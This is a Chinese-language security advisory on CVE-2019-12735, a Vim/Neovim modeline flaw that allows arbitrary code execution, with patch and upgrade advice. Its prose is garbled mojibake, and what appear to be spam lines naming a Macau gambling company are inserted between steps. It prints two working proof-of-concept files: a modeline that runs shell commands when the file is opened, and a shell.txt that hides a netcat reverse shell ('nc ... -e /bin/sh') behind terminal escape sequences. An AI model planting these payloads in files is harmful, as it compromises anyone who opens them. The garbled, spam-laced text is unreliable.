VimºÍNeovimËÁÒâ´úÂëÖ´Ðзì϶°²È«¹«¸æ

°ä²¼¹¦·ò 2019-06-06

·ì϶±àºÅºÍ¼¶±ð


CVE±àºÅ£ºCVE-2019-12735£¬£¬£¬£¬£¬£¬Î£ÏÕ¼¶±ð£º¸ßΣ£¬£¬£¬£¬£¬£¬CVSS·ÖÖµ£º8.6


ÊÜÓ°ÏìµÄ°æ±¾


Vim < 8.1.1365

Neovim < 0.3.6


·ì϶¸ÅÊö


VimÊÇÒ»¿îÖ°ÄÜ׳´ó¡¢¸ß¶È¿É¶¨ÔìµÄÎı¾±à×ëÆ÷¡£¡£¡£¡£¡£¡£ÓÉÓÚVimÔÚ´úÂ벹ȫ¡¢±àÒë¼°·½±ã±à³ÌµÈ·½Ã漫¶È׳´ó£¬£¬£¬£¬£¬£¬Òò¶øÔÚ·¨Ê½Ô±Öб»¿í·ºÊ¹Ó㬣¬£¬£¬£¬£¬³ÉΪÀàUnixϵͳÓû§×îϲ»¶µÄÎı¾±à×ëÆ÷Ö®Ò»¡£¡£¡£¡£¡£¡£


Îı¾±à×ëÆ÷Vim/Neovim´æÔÚÑϳÁ·ì϶£¬£¬£¬£¬£¬£¬Í¨¹ý´ò¿ª³ö¸ñ»ú¹ØµÄÎı¾Îļþ£¬£¬£¬£¬£¬£¬Ä£Ê»½ÐÑ¡Ïîδ±»½ûÓõϰ£¬£¬£¬£¬£¬£¬¾Í¿Éµ¼ÖÂVim/NeovimËÁÒâ´úÂëÖ´Ðзì϶¡£¡£¡£¡£¡£¡£·ì϶³ÉÒòÊÇģʽÐÐÖнöÔÊÐíÑ¡Ïî×Ó¼¯£¬£¬£¬£¬£¬£¬ÈôÊÇÑ¡ÏîµÄÖµÔ̺¬Ò»¸ö±í°×ʽ£¬£¬£¬£¬£¬£¬¾ÍÄܹ»ÔÚɳÏäÖÐÔËÐС£¡£¡£¡£¡£¡£:source! ºÅÁî¿ÉÈÆ¹ýɳÏ䣬£¬£¬£¬£¬£¬ËüÄܹ»´Ó¼È¶¨ÎļþÖжÁÈ¡²¢Ö´ÐкÅÁ£¬£¬£¬£¬£¬Òò¶øÄܹ»ÇáËɹ¹½¨ÔÚɳÏä±íÔÊÐíÔËÐдúÂëµÄģʽÐС£¡£¡£¡£¡£¡£


·ì϶ÑéÖ¤


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md¡£¡£¡£¡£¡£¡£


µÚÒ»ÖÖ£º
²âÊÔ°æ±¾ÈçÏ£º
 
8827Ì«Ñô¼¯ÍÅ(Macau)¹É·ÝÓÐÏÞ¹«Ë¾-Official website

1¡¢´´½¨poc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2¡¢È·±£Î´½ûÓÃmodelineÑ¡Ïî(:set modeline)


ʹÓÃÈçϺÅÁî²é¿´ºÅÁîµØÎ»


8827Ì«Ñô¼¯ÍÅ(Macau)¹É·ÝÓÐÏÞ¹«Ë¾-Official website

 
ÈçÏ£º
 

8827Ì«Ñô¼¯ÍÅ(Macau)¹É·ÝÓÐÏÞ¹«Ë¾-Official website 


8827Ì«Ñô¼¯ÍÅ(Macau)¹É·ÝÓÐÏÞ¹«Ë¾-Official website


3¡¢ÔÚvimÖдò¿ª¸Ãtxt


vim poc.txt
¶øºóϵͳ»áÖ´ÐÐ uname -a&&whoami

 

8827Ì«Ñô¼¯ÍÅ(Macau)¹É·ÝÓÐÏÞ¹«Ë¾-Official website


µÚ¶þÖÖ£¬£¬£¬£¬£¬£¬´´½¨·´µ¯shell


¸ÃPoCÃèÊöÁËÒ»ÖÖÕæÊµµÄ¹¥»÷²½Ö裬£¬£¬£¬£¬£¬ÆäÖÐÒ»µ©Óû§´ò¿ªÎļþ¾ÍÆô¶¯·´µ¯shell¡£¡£¡£¡£¡£¡£ ΪÁ˰µ²Ø¹¥»÷£¬£¬£¬£¬£¬£¬Îļþ½«ÔÚ´ò¿ªÊ±Á¢¼´³Áд¡£¡£¡£¡£¡£¡£ 

´Ë±í£¬£¬£¬£¬£¬£¬µ±Ê¹ÓÃcat´òÓ¡ÄÚÈÝʱ£¬£¬£¬£¬£¬£¬PoCʹÓÃÖÕ¶ËתÒåÐòÁÐÀ´°µ²ØºÅÁîÐС£¡£¡£¡£¡£¡££¨¶øÊ¹ÓÃcat -vÄܹ»ÏÔʾÏÖʵÄÚÈÝ¡£¡£¡£¡£¡£¡££©


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 

8827Ì«Ñô¼¯ÍÅ(Macau)¹É·ÝÓÐÏÞ¹«Ë¾-Official website


½¨¸´½¨Òé



Éý¼¶µ½Vim 8.1.1365¡¢Neovim 0.3.6»òÒÔÉϰ汾£¬£¬£¬£¬£¬£¬´Ë±í½¨Òé½ûÓÃģʽÐУ¬£¬£¬£¬£¬£¬Ê¹ÓÃsecuremodelines²å¼þ¡£¡£¡£¡£¡£¡£


Vim²¹¶¡8.1.1365£º 

https://github.com/vim/vim/commit/5357552


Neovim²¹¶¡£¡£¡£¡£¡£¡£¨ÔÚv0.3.6Öа䲼£©£º
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


²Î¿¼Á´½Ó


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md